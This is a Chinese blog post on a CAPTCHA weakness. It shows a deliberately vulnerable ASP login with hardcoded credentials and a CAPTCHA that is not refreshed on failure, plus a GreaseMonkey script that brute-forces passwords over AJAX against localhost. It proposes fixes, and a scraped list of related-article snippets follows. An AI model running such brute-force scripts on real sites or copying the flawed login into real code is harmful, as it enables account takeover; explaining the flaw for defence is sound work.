GreaseMonkey让网站登录验证码形同虚设

通常，为了增加暴力猜解网站用户密码的难度，我们会在网页登录框中增加一个验证码，验证码保存在服务器端，而客户端则使用一张图片显示：

GreaseMonkey让网站登录验证码形同虚设

验证码在整个登录过程表现为：用户打开登录页面时，服务器产生一个验证码，点击登录后，跳转到登录页面，服务器端检查用户输入的验证码是否正确，若错误，跳回到登录页面，生成一个新验证码让用户再次输入登录。 注意，生成新验证码的条件是登录页面刷新了！

以前没觉得这有什么问题，今天了解12306自动登录脚本后，发现这问题太严重了，当使用GreaseMonkey时，简直可以无视验证码的存在，原因是 借助GreaseMonkey可以在页面使用Ajax提交表单进行登录，这过程不会刷新登录页面，所以服务器不会生成新验证码，因而只要手工输下验证码，脚本就可以不断尝试登录进行猜解用户名密码！

1.GreaseMonkey自动登录演示

为了减少代码量，便于说明问题，下边演示时验证码不转为图形，直接输出Session，效果一样，不影响结论。

 

Default.asp：
View Code
<%@LANGUAGE= " VBSCRIPT " CODEPAGE= " 65001 "%>
<!DOCTYPE html  PUBLIC  " -//W3C//DTD XHTML 1.0 Transitional//EN "  " http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd ">
<html xmlns= " http://www.w3.org/1999/xhtml ">
<head>
<meta http-equiv= " Content-Type " content= " text/html; charset=utf-8 " />
<title>登录演示</title>
</head>

<body>
<%
Randomize
SESSION( " passCode ") =  Int( 8999* Rnd+ 1000)  ' 生成验证码
%>
<form id= " form1 " name= " form1 " method= " post " action= " Login.asp ">
用户名：<input type= " text " name= " txtUsn " id= " txtUsn " /><br />
密码：<input type= " text " name= " txtUsp " id= " txtUsp " /><br />
验证码：<input type= " text " name= " txtPassCode " id= " txtPassCode " /><%=SESSION( " passCode ")%> <br />
<input type= " submit " name= " btn1 " id= " btn1 " value= " 提交 " />
</form>
</body>
</html>
Login.asp：
View Code
<%
Response.Charset =  " utf-8 "

Dim usn, usp, code, msg
usn = Request.Form( " txtUsn ")
usp = Request.Form( " txtUsp ")
code = Request.Form( " txtPassCode ")

Response.Write(Login(usn, usp, code))

' 登录函数
Function Login(usn, usp, code)
     If SESSION( " Login ") =  True  Then
        Login =  " 登录成功. "
     Else
         If usn<> ""  And usp<> ""  Then
             If code<> CStr(SESSION( " passCode "))  Then
                Login =  " 验证码出错,请重新输入. "
                 Exit  Function
             End  If
        
             If usn= " admin "  And usp= " admin888 "  Then
                SESSION( " Login ") =  True
                Login =  " 登录成功. "
             Else
                Login =  " 用户名或密码出错,请重新输入. "
             End  If
         Else
            Login =  " 用户未登录. "
         End  If
     End  If    
End Function
%>
GreaseMonkey脚本：
View Code
//  ==UserScript==
//  @name           自动登录
//  @namespace      com.mzwu
//  @include        http://localhost/default.asp
//  @require           https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js
//  ==/UserScript==


if( typeof($) != "undefined")
{
    $("body").append("<input type=\"button\" name=\"btn2\" id=\"btn2\" value=\"登录测试\" />");

    $("#btn2").click( function(){
         var usn = "admin";
         var usp = "";
         var code = $("#txtPassCode").val();
         var responseText = "";
         var i = 0;

         while(responseText.indexOf("登录成功") == -1)
        {
            usp = "admin88" + (++i);  // 猜解密码
            $.ajax({
                type : "POST",
                url  : "Login.asp?r=" + Math.random(),
                data : "txtUsn=" + usn + "&txtUsp=" + usp + "&txtPassCode=" + code,
                async:  false,
                success :  function(msg){
                    responseText = msg;
                     if(responseText.indexOf("登录成功") != -1)
                    {
                        alert("登录成功.尝试次数:" + i);
                        location.href = "Login.asp";
                    }
                }
            });
        }
    });

    clearInteval(timer);
}
测试结果：

GreaseMonkey让网站登录验证码形同虚设 


2.解决方法

提供两种解决方法供参考：

方法一：当验证登录用户名或密码出错时，服务器端强制生成新验证码；
方法二：当尝试登录5次失败时，将帐户锁定一段时间不能登录；

3.参考资料

[1].Firefox扩展Greasemonkey使用示例： http://www.mzwu.com/article.asp?id=3091

你可能感兴趣的:(验证码)

  • Nodemailer使用教程：在Node.js中发送电子邮件 m0_74824054 面试学习路线阿里巴巴node.jslinux运维
    目录1.简介2.安装3.基本配置3.1创建传输器3.2配置说明4.发送邮件4.1基本发送示例4.2发送验证码示例5.?常见问题解决5.1“Greetingneverreceived”?错误5.2?安全建议SMTP与邮件加密协议详解?1.SMTP简介1.1基本特点2.加密协议对比2.1SSL/TLS(端口465)?2.2?STARTTLS(端口587)3.端口使用建议3.1常用端口对比3.2选择建议
  • Spring Boot 3.x 基于 Redis 实现邮箱验证码认证 Vcats springbootredis后端
    文章目录依赖配置开启QQ邮箱SMTP服务配置文件代码实现验证码服务邮件服务接口实现执行流程依赖配置org.springframework.bootspring-boot-starter-weborg.springframework.bootspring-boot-starter-data-redis3.4.2org.apache.commonscommons-pool22.11.1io.lettu
  • thinkphp think-captcha 前后端分离 图形验证码 fendouweiqian thinkphp
    think-captcha本身支持API接口的形式返回，可以看到源代码：ob_start();//输出图像imagepng($this->im);$content=ob_get_clean();imagedestroy($this->im);//API调用模式if($this->api){return['code'=>implode('',$text),'img'=>'data:image/png
  • 【Burp入门第三十六篇】加解密实现短信轰炸实战案例 秋说 Burp漏洞挖掘
    BurpSuite是一款功能强大的渗透测试工具，被广泛应用于Web应用程序的安全测试和漏洞挖掘中。本专栏将结合实操及具体案例，带领读者入门、掌握这款漏洞挖掘利器读者可订阅专栏：【Burp由入门到精通|CSDN秋说】文章目录背景加解密短信轰炸背景在针对目标应用程序的测试中，发现其密码找回功能存在请求加密机制，具体表现为用户通过手机号获取验证码的请求数据包采用了加密传输：加解密通
  • 前后端分离项目的验证码实现（前端Vue，后端TP） 今天练肩感觉爆炸 vuethinkphp
    1.TP安装依赖composerrequiretopthink/think-captcha=2.0.*2.生成验证码返回给前端//生成验证码publicfunctiongetCaptcha(){$config=[//验证码字符集合'codeSet'=>'0123456789',//验证码字体大小'fontSize'=>30,//字体'fontttf'=>'5.ttf',//验证码位数'length
  • PHP Captcha实现图片验证码生成及识别（附源码） mayday1102 PHPphpcaptcha
    目录什么是Captchacomposer安装思路修改Captcha.php源码调用什么是CaptchaCAPTCHA（CompletelyAutomatedPublicTuringTesttoTellComputersandHumansApart）是区分计算机和人类的一种程序算法。composer安装composerrequirephp-quickorm/captcha思路由于原扩展基于sessi
  • 移动端测试验证码识别思路——使用Tesseract-OCR识别 小刀_cs 自动化测试移动端自动化验证码识别
    主要工具：1、tesseract-ocr-w64-setup-v4.0需要安装地址：https://digi.bib.uni-mannheim.de/tesseract/安装完成需配置环境变量：PATH中增加：C:\ProgramFiles(x86)\Tesseract-OCR增加TESSDATA_PREFIX变量：C:\ProgramFiles(x86)\Tesseract-OCR\tessda
  • 验证码介绍及生成与验证（HTML + JavaScript实现） 学习&实践爱好者 JavaScrip技术HTML5与CSS3编程实践系列javascript
    验证码介绍及生成与验证（HTML+JavaScript实现）验证码验证码（全自动区分计算机和人类的图灵测试，‌CAPTCHA，C‌ompletely‌A‌utomated‌P‌ublic‌T‌uringtesttotell‌C‌omputersand‌H‌umans‌A‌part）是一种用于区分用户是人类还是自动化程序的安全机制，通过生成人类易识别、机器难破解的测试题目实现身份验证。作用‌‌防止恶
  • SpringCloud微服务实战——搭建企业级开发框架（二十四）：集成行为验证码和图片验证码实现登录功能 全栈程序猿 MavenSpringCloudspringcloud微服务java
      随着近几年技术的发展，人们对于系统安全性和用户体验的要求越来越高，大多数网站系统都逐渐采用行为验证码来代替图片验证码。行为验证码指的是通过用户行为来验证用户身份的验证码，如滑动拼图、识别图片中的特定物品等。  行为验证码的重要性在于可以有效地防止机器人和恶意程序对网站或应用程序进行恶意攻击、刷流量、撞库等行为，从而保障了用户和网站的安全。相较于传统的图形验证码等方式，行为验证码更难被破解，同时
  • 秒验三网合一，打破运营商壁垒的用户增长加速器 数据库
    秒验三网合一，打破运营商壁垒的用户增长加速器在移动互联网用户增长见顶的当下，注册转化率每提升1%都可能带来百万级商业价值。传统手机验证码需用户手动输入、等待短信，且常因运营商通道延迟导致流失。而“三网合一”的一秒验证技术，通过整合移动、联通、电信三大运营商接口，实现“一点接入，全网通行”的无差别验证，正成为APP企业突破增长瓶颈的关键武器。数据显示，采用该技术的APP用户注册转化率平均提升35%，
  • Java练习题，随机生成四位验证码 宝耶 java开发语言
    packagelianxibao;importjava.util.Random;publicclasslianxilei{publicstaticvoidmain(String[]args){char[]chs=newchar[52];for(inti=0;i
  • 利用Python发短信 尘盖天 科普
    #首先注册互亿无线，然后复制发短信界面右上角的apiid和apikey更换代码中的account和password#APIID：1#APIKEY：a9#接口类型：互亿无线触发短信接口，支持发送验证码短信、订单通知短信等。#账户注册：请通过该地址开通账户http://sms.ihuyi.com/register.html#注意事项：#（1）调试期间，请用默认的模板进行测试，默认模板详见接口文档；#（
  • 得物 六宫格验证码 分析 2766958292 前端javago爬虫后端pythonweb安全
    声明本文章中所有内容仅供学习交流使用，不用于其他任何目的，抓包内容、敏感网址、数据接口等均已做脱敏处理，严禁用于商业用途和非法用途，否则由此产生的一切后果均与作者无关！关键代码functionnv_checkPoint2(nv_x,nv_y,nv_element,nv_rate){varnv_xIndex;varnv_yIndex;varnv_X;varnv_Y;if(Math.abs(nv_x-
  • 第5周 云短信注册登录全流程落地与JWT实现 与海boy springcloud
    第5周云短信注册登录全流程落地与JWT实现1.短信一键登录流程解析2.腾讯云短信SDK秘钥配置与SpringBoot集成3.Redis存储验证码与锁机制限制IP发短信4.拦截器限制短信防刷5.优雅异常的封装与低代码侵入6.Postman&ApiPost与Apifox7.Spring-Validate参数校验8.分布式会话RedisToken9.Switchhost虚拟域名解决ip变动问题10.服务
  • chatgpt赋能python：Python获取短信验证码：想省时省力，就得尝试！ pythonxxoo ChatGptchatgpt爬虫计算机
    Python获取短信验证码：想省时省力，就得尝试！作为一名有10年python编程经验的工程师，我深知其中的难点和麻烦。很多人甚至会担心，网络上关于Python的短信验证码获取有很多风险，这一点当然不能忽略。但在我看来，只要遵循正确的步骤和方法，那么获取短信验证码只是手到擒来之事。以下是我几点看法：Python获取短信验证码的重要性在如今的互联网环境中，短信验证码已经成为了大多数网站和应用程序中常
  • Selenium+OpenCV处理滑块验证问题 刽子手发艺 志愿填报项目seleniumopencvwebpack
    两个文件的主要目的是通过Selenium、ChromeDriver和OpenCV来实现自动化解决滑块验证码的问题。滑块验证码通常要求用户拖动一个滑块到正确的位置，以验证用户是否为真人。下面我将详细讲解这两个文件的工作流程和具体功能的原理。1.cvdemo.java文件这个文件主要包含了一个使用OpenCV进行图像处理的方法getPos，用于检测滑块图像中目标区域的位置。1.1工作流程加载OpenC
  • Python网络爬虫项目开发实战：如何解决验证码处理 好知识传播者 Python实例开发实战python爬虫开发语言验证码处理网络爬虫
    注意：本文的下载教程，与以下文章的思路有相同点，也有不同点，最终目标只是让读者从多维度去熟练掌握本知识点。下载教程：Python网络爬虫项目开发实战_验证码处理_编程案例解析实例详解课程教程.pdf一、验证码处理的简介在Python网络爬虫项目开发实战中，验证码处理是一个常见的挑战，因为许多网站为了防止自动化脚本滥用和保护用户账户安全，会采用验证码机制来验证请求的合法性。以下是验证码处理的简介，包
  • python selenium 验证码识别_python利用selenium库识别点触验证码 weixin_39610956 pythonselenium验证码识别
    利用selenium库和超级鹰识别点触验证码(学习于静谧大大的书，想自己整理一下思路)一、超级鹰注册：超级鹰入口1、首先注册一个超级鹰账号，然后在超级鹰免费测试地方可以关注公众号，领取1000积分，基本上就够学习使用了。如果想一直用可以用，可以充值，不是很贵。2、下载超级鹰的python库代码。代码3、然后有测试案例，自己可以试着跑一跑代码。二、使用selenium库来识别点触式验证码：1、首先是
  • Python爬虫selenium验证-中文识别点选+图片验证码案例 dme. Python爬虫零基础入门python爬虫
    1.获取图片importreimporttimeimportddddocrimportrequestsfromseleniumimportwebdriverfromselenium.webdriver.common.byimportByfromselenium.webdriver.chrome.serviceimportServicefromselenium.webdriver.support.w
  • Vue3 + Spring WebMVC 验证码案例中的跨域问题与解决方法 careathers okhttp
    最近在基于vue3+SpringWebMVC前后端分离的开发环境中实现一个验证码的案例，在开发过程中遇到了一些复杂的跨域问题，现已解决，故将解决方法分享，希望能帮到有需要的人。出现的问题：对于验证码的实现，我选择引入第三方Jar包，在开发至验证码校验时，此时正常逻辑为：前端向后端请求验证码图片，后端返回验证码图片并设置cookie，将正确验证码存储至session中；当用户提交验证码后，前端会发送
  • python爬虫selenium行为链登录12306(滑动验证码滑块)（解决特征识别）(1) 好像要长脑子了1 程序员python爬虫selenium
    fromseleniumimportwebdriverfromselenium.webdriver.common.action_chainsimportActionChainsimporttimefromselenium.webdriverimportChromeOptions去除浏览器识别option=ChromeOptions()option.add_experimental_option(‘
  • 鸿蒙开发5.0【基于ArkUI的验证码】实现 爱桥代码的程序媛 鸿蒙harmonyos鸿蒙开发openharmony鸿蒙ArkUI程序员移动开发
    场景描述场景一：基于自定义键盘的验证码实现，进入页面后直接输入验证码，第一个验证码输入完后可自动跳到下一个，拉起的键盘是自定义数字键盘，验证码的输入框带选中效果。场景二：基于系统键盘的验证码实现，进入页面后直接输入验证码，第一个验证码输入完后可自动跳到下一个，验证码的输入框带选中效果。方案描述场景一：基于自定义键盘的验证码实现，进入页面后直接输入验证码，第一个验证码输入完后可自动跳到下一个，拉起的
  • 问题总结一 xwj_865574332 面试
    一、验证码机制的处理先去识别元素----对元素进行操作验证码无法自动化技术手法去解决都是由开发给万能码，或者获取屏蔽验证码去解决那如果不能屏蔽，开发和你不在一起呢？PIL(图像识别功能)只能解决简单图片的处理1、对图片降噪固定的函数2、灰度处理（去除图片颜色）3、二值化处理（锐化）识别出来那如果是接口测试呢？验证码怎么办？万能码下面举了2种例子（第2个是别人分装好的，比较简单，代码较少）#导包cv
  • 市场调研数据中台架构：Python 爬虫集群突破反爬限制的工程实践 西攻城狮北 架构python爬虫实战案例
    引言在当今数据驱动的商业环境中，市场调研数据对于企业的决策至关重要。为了构建一个高效的数据中台架构，我们需要从多个数据源采集数据，而网络爬虫是获取公开数据的重要手段之一。然而，许多网站为了保护数据，设置了各种反爬机制，如IP封禁、验证码、动态内容加载等。本文将详细介绍如何使用Python爬虫集群突破这些反爬限制，并结合实际工程实践，提供完整的代码示例和优化建议。一、项目背景与需求分析1.市场调研数
  • 4、使用百度飞浆训练字符验证码 时光亦不回首 验证码识别python百度飞浆字符验证码识别模型训练
    前言：前面我们讲了环境的安装，这一篇就讲一讲如何使用飞浆来训练我们的字符验证码实战讲解：老规矩，有文档我们就先看文档：十分钟完成PP-OCRv3识别全流程实战可以看到第一步就是准备运行环境，由于飞浆的运行环境我们前面已经安装好了，所以接下来安装环境只是训练OCR识别的环境，那下面直接开始吧!1.环境准备先下载PaddleOCRPaddleOCR将下载下来的压缩包进行解压，解压之后如下
  • DeepSeek指导手册从入门到精通 向画 功能javac语言lualaraveleclipsegithubvue.js
    第一章:准备篇(30分钟上手)1.1三分钟创建你的AI伙伴步骤详解访问官网：在浏览器输入｢www.deepseek.com｣。注册账号：点击右上角｢笑脸图标｣，选择｢邮箱/手机注册｣（建议使用常用邮箱）。验证身份：查看收件箱找到验证邮件，点击蓝色确认按钮（找不到可检查垃圾箱）。首次登录：输入密码时建议使用｢大小写字母+数字｣组合（例如:Deep2024@seek）。避坑指南如果遇到验证码不显示，尝
  • Python函数的嵌套250218 taoyong001 python
    函数的嵌套：在函数内部定义函数可以将一些特定的，独有功能的函数定义在一个总函数内，这样所属性与独有性就有保证函数的嵌套代码中提供了一个图片下载的代码，可以生成验证码由于函数嵌套会导致作用域问题优先在自己的作用域找变量，找不到的话才到上级作用域中找要理解使用函数栈来分析变量的值NAME="ty"deffunc():definner():print(NAME)return"admin"returnin
  • Python 爬虫验证码识别 acheding pythonpython爬虫ocr
    在我们进行爬虫的过程中，经常会碰到有些网站会时不时弹出来验证码识别。我们该如何解决呢？这里分享2种我尝试过的方法。0.验证码示例1.OpenCV+pytesseract使用Python中的OpenCV库进行图像预处理（边缘保留滤波、灰度化、二值化、形态学操作和逻辑运算），然后结合pytesseract进行文字识别。pytesseract需要配合安装在本地的tesseract-ocr.exe文件一起
  • 后端使用Spring Boot框架 + 前端VUE 实现滑动模块验证码 ADFVBM 前端springbootvue.js
    在现在常用的登录验证码方式有很多种，但是都不可避免被攻击，但是有很多方式可以防止被攻击，从而进行维护。现在我就讲解一下滑动块验证码的实现方式：这个是前端代码，我使用的是vue，在使用的时候注意：注意几个关键点：使用Vue的data函数来存储组件的状态，如isDragging、sliderPosition等。使用Vue的mounted生命周期钩子来获取容器和滑块的宽度。使用Vue的ref属性来方便地
  • spring security 实现短信登录---若依RuoYi整合短信验证码登录 菜鸡且互啄69 springjava后端
    背景：若依默认使用账号密码进行登录，但是咱们客户需要增加一个短信登录功能，即在不更改原有账号密码登录的基础上，整合短信验证码登录。本案例基于RuoYi-Vue版本实现，其他版本应该大同小异。本文参考http://t.csdnimg.cn/go78Z1自定义短信登录token验证仿照UsernamePasswordAuthenticationToken类，编写短信登录token验证。我们自己构造的这
  • iOS http封装 374016526 ios服务器交互http网络请求
    程序开发避免不了与服务器的交互，这里打包了一个自己写的http交互库。希望可以帮到大家。   内置一个basehttp，当我们创建自己的service可以继承实现。   KuroAppBaseHttp *baseHttp = [[KuroAppBaseHttp alloc] init]; [baseHttp setDelegate:self]; [baseHttp
  • lolcat ：一个在 Linux 终端中输出彩虹特效的命令行工具 brotherlamp linuxlinux教程linux视频linux自学linux资料
      那些相信 Linux 命令行是单调无聊且没有任何乐趣的人们，你们错了，这里有一些有关 Linux 的文章，它们展示着 Linux 是如何的有趣和“淘气” 。 在本文中，我将讨论一个名为“lolcat”的小工具 – 它可以在终端中生成彩虹般的颜色。 何为 lolcat ? Lolcat 是一个针对 Linux，BSD 和 OSX 平台的工具，它类似于 cat 命令，并为 cat
  • MongoDB索引管理（1）——[九] eksliang mongodbMongoDB管理索引
    转载请出自出处：http://eksliang.iteye.com/blog/2178427 一、概述       数据库的索引与书籍的索引类似，有了索引就不需要翻转整本书。数据库的索引跟这个原理一样，首先在索引中找，在索引中找到条目以后，就可以直接跳转到目标文档的位置，从而使查询速度提高几个数据量级。       不使用索引的查询称
  • Informatica参数及变量 18289753290 Informatica参数变量
    下面是本人通俗的理解，如有不对之处，希望指正 info参数的设置：在info中用到的参数都在server的专门的配置文件中（最好以parma）结尾 下面的GLOBAl就是全局的，$开头的是系统级变量，$$开头的变量是自定义变量。如果是在session中或者mapping中用到的变量就是局部变量，那就把global换成对应的session或者mapping名字。 [GLOBAL] $Par
  • python 解析unicode字符串为utf8编码字符串 酷的飞上天空 unicode
    php返回的json字符串如果包含中文，则会被转换成\uxx格式的unicode编码字符串返回。 在浏览器中能正常识别这种编码，但是后台程序却不能识别，直接输出显示的是\uxx的字符，并未进行转码。   转换方式如下   >>> import json >>> q = '{"text":"\u4
  • Hibernate的总结 永夜-极光 Hibernate
    1.hibernate的作用,简化对数据库的编码,使开发人员不必再与复杂的sql语句打交道   做项目大部分都需要用JAVA来链接数据库，比如你要做一个会员注册的 页面，那么 获取到用户填写的 基本信后，你要把这些基本信息存入数据库对应的表中，不用hibernate还有mybatis之类的框架，都不用的话就得用JDBC，也就是JAVA自己的，用这个东西你要写很多的代码，比如保存注册信
  • SyntaxError: Non-UTF-8 code starting with '\xc4' 随便小屋 python
    刚开始看一下Python语言，传说听强大的，但我感觉还是没Java强吧！ 写Hello World的时候就遇到一个问题，在Eclipse中写的，代码如下 ''' Created on 2014年10月27日 @author: Logic ''' print("Hello World!");  运行结果 SyntaxError: Non-UTF-8
  • 学会敬酒礼仪 不做酒席菜鸟 aijuans 菜鸟
    俗话说，酒是越喝越厚，但在酒桌上也有很多学问讲究，以下总结了一些酒桌上的你不得不注意的小细节。 细节一：领导相互喝完才轮到自己敬酒。敬酒一定要站起来，双手举杯。 细节二：可以多人敬一人，决不可一人敬多人，除非你是领导。 细节三：自己敬别人，如果不碰杯，自己喝多少可视乎情况而定，比如对方酒量，对方喝酒态度，切不可比对方喝得少，要知道是自己敬人。 细节四：自己敬别人，如果碰杯，一
  • 《创新者的基因》读书笔记 aoyouzi 读书笔记《创新者的基因》
    创新者的基因   创新者的“基因”，即最具创意的企业家具备的五种“发现技能”：联想，观察，实验，发问，建立人脉。   第一部分破坏性创新，从你开始 第一章破坏性创新者的基因 如何获得启示： 发现以下的因素起到了催化剂的作用：(1) -个挑战现状的问题；(2)对某项技术、某个公司或顾客的观察；(3) -次尝试新鲜事物的经验或实验；(4)与某人进行了一次交谈，为他点醒
  • 表单验证技术 百合不是茶 JavaScriptDOM对象String对象事件
    js最主要的功能就是验证表单,下面是我对表单验证的一些理解,贴出来与大家交流交流  ,数显我们要知道表单验证需要的技术点, String对象,事件,函数   一:String对象;通常是对字符串的操作;   1,String的属性;   字符串.length;表示该字符串的长度; var str= "java"
  • web.xml配置详解之context-param bijian1013 javaservletweb.xmlcontext-param
    一.格式定义： <context-param> <param-name>contextConfigLocation</param-name> <param-value>contextConfigLocationValue></param-value> </context-param> 作用：该元
  • Web系统常见编码漏洞（开发工程师知晓） Bill_chen sqlPHPWebfckeditor脚本
    1.头号大敌：SQL Injection 原因：程序中对用户输入检查不严格，用户可以提交一段数据库查询代码，根据程序返回的结果， 获得某些他想得知的数据，这就是所谓的SQL Injection，即SQL注入。 本质: 对于输入检查不充分，导致SQL语句将用户提交的非法数据当作语句的一部分来执行。 示例： String query = "SELECT id FROM users
  • 【MongoDB学习笔记六】MongoDB修改器 bit1129 mongodb
    本文首先介绍下MongoDB的基本的增删改查操作，然后，详细介绍MongoDB提供的修改器，以完成各种各样的文档更新操作  MongoDB的主要操作 show dbs 显示当前用户能看到哪些数据库 use foobar 将数据库切换到foobar show collections 显示当前数据库有哪些集合 db.people.update，update不带参数，可
  • 提高职业素养，做好人生规划 白糖_ 人生
      培训讲师是成都著名的企业培训讲师，他在讲课中提出的一些观点很新颖，在此我收录了一些分享一下。注：讲师的观点不代表本人的观点，这些东西大家自己揣摩。   1、什么是职业规划：职业规划并不完全代表你到什么阶段要当什么官要拿多少钱，这些都只是梦想。职业规划是清楚的认识自己现在缺什么，这个阶段该学习什么，下个阶段缺什么，又应该怎么去规划学习，这样才算是规划。  
  • 国外的网站你都到哪边看？ bozch 技术网站国外
    学习软件开发技术，如果没有什么英文基础，最好还是看国内的一些技术网站，例如：开源OSchina，csdn，iteye,51cto等等。 个人感觉如果英语基础能力不错的话，可以浏览国外的网站来进行软件技术基础的学习，例如java开发中常用的到的网站有apache.org 里面有apache的很多Projects,springframework.org是spring相关的项目网站,还有几个感觉不错的
  • 编程之美-光影切割问题 bylijinnan 编程之美
    package a; public class DisorderCount { /**《编程之美》“光影切割问题” * 主要是两个问题： * 1.数学公式（设定没有三条以上的直线交于同一点）： * 两条直线最多一个交点，将平面分成了4个区域； * 三条直线最多三个交点，将平面分成了7个区域； * 可以推出：N条直线 M个交点，区域数为N+M+1。
  • 关于Web跨站执行脚本概念 chenbowen00 Web安全跨站执行脚本
    跨站脚本攻击(XSS)是web应用程序中最危险和最常见的安全漏洞之一。安全研究人员发现这个漏洞在最受欢迎的网站,包括谷歌、Facebook、亚马逊、PayPal,和许多其他网站。如果你看看bug赏金计划,大多数报告的问题属于 XSS。为了防止跨站脚本攻击,浏览器也有自己的过滤器,但安全研究人员总是想方设法绕过这些过滤器。这个漏洞是通常用于执行cookie窃取、恶意软件传播,会话劫持,恶意重定向。在
  • [开源项目与投资]投资开源项目之前需要统计该项目已有的用户数 comsci 开源项目
            现在国内和国外,特别是美国那边,突然出现很多开源项目,但是这些项目的用户有多少,有多少忠诚的粉丝,对于投资者来讲,完全是一个未知数,那么要投资开源项目,我们投资者必须准确无误的知道该项目的全部情况,包括项目发起人的情况,项目的维持时间..项目的技术水平,项目的参与者的势力,项目投入产出的效益.....
  • oracle alert log file（告警日志文件） daizj oracle告警日志文件alert log file
    The alert log is a chronological log of messages and errors, and includes the following items: All internal errors (ORA-00600), block corruption errors (ORA-01578), and deadlock errors (ORA-00060)
  • 关于 CAS SSO 文章声明 denger SSO
    由于几年前写了几篇 CAS 系列的文章，之后陆续有人参照文章去实现，可都遇到了各种问题，同时经常或多或少的收到不少人的求助。现在这时特此说明几点： 1.  那些文章发表于好几年前了，CAS 已经更新几个很多版本了，由于近年已经没有做该领域方面的事情，所有文章也没有持续更新。 2. 文章只是提供思路，尽管 CAS 版本已经发生变化，但原理和流程仍然一致。最重要的是明白原理，然后
  • 初二上学期难记单词 dcj3sjt126com englishword
    lesson 课 traffic 交通 matter 要紧；事物 happy 快乐的，幸福的 second 第二的 idea 主意；想法；意见 mean 意味着 important 重要的，重大的 never 从来，决不 afraid 害怕 的 fifth 第五的 hometown 故乡，家乡 discuss 讨论；议论 east 东方的 agree 同意；赞成 bo
  • uicollectionview 纯代码布局, 添加头部视图 dcj3sjt126com Collection
    #import <UIKit/UIKit.h> @interface myHeadView : UICollectionReusableView { UILabel *TitleLable; } -(void)setTextTitle; @end #import "myHeadView.h" @implementation m
  • N 位随机数字串的 JAVA 生成实现 FX夜归人 javaMath随机数Random
    /** * 功能描述 随机数工具类<br /> * @author FengXueYeGuiRen * 创建时间 2014-7-25<br /> */ public class RandomUtil { // 随机数生成器 private static java.util.Random random = new java.util.R
  • Ehcache（09）——缓存Web页面 234390216 ehcache页面缓存
    页面缓存 目录 1       SimplePageCachingFilter 1.1      calculateKey 1.2      可配置的初始化参数 1.2.1     cach
  • spring中少用的注解@primary解析 jackyrong primary
    这次看下spring中少见的注解@primary注解，例子 @Component public class MetalSinger implements Singer{ @Override public String sing(String lyrics) { return "I am singing with DIO voice
  • Java几款性能分析工具的对比 lbwahoo java
    Java几款性能分析工具的对比 摘自：http://my.oschina.net/liux/blog/51800   在给客户的应用程序维护的过程中，我注意到在高负载下的一些性能问题。理论上，增加对应用程序的负载会使性能等比率的下降。然而，我认为性能下降的比率远远高于负载的增加。我也发现，性能可以通过改变应用程序的逻辑来提升，甚至达到极限。为了更详细的了解这一点，我们需要做一些性能
  • JVM参数配置大全 nickys jvm应用服务器
    JVM参数配置大全 /usr/local/jdk/bin/java -Dresin.home=/usr/local/resin -server -Xms1800M -Xmx1800M -Xmn300M -Xss512K -XX:PermSize=300M -XX:MaxPermSize=300M -XX:SurvivorRatio=8 -XX:MaxTenuringThreshold=5 -
  • 搭建 CentOS 6 服务器(14) - squid、Varnish rensanning varnish
    （一）squid 安装 # yum install httpd-tools -y # htpasswd -c -b /etc/squid/passwords squiduser 123456 # yum install squid -y 设置 # cp /etc/squid/squid.conf /etc/squid/squid.conf.bak # vi /etc/
  • Spring缓存注解@Cache使用 tom_seed spring
    参考资料 http://www.ibm.com/developerworks/cn/opensource/os-cn-spring-cache/ http://swiftlet.net/archives/774   缓存注解有以下三个： @Cacheable      @CacheEvict     @CachePut
  • dom4j解析XML时出现"java.lang.noclassdeffounderror: org/jaxen/jaxenexception"错误 xp9802
    java.lang.NoClassDefFoundError: org/jaxen/JaxenExc 关键字: java.lang.noclassdeffounderror: org/jaxen/jaxenexception 使用dom4j解析XML时，要快速获取某个节点的数据，使用XPath是个不错的方法，dom4j的快速手册里也建议使用这种方式 执行时却抛出以下异常： Exceptio
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他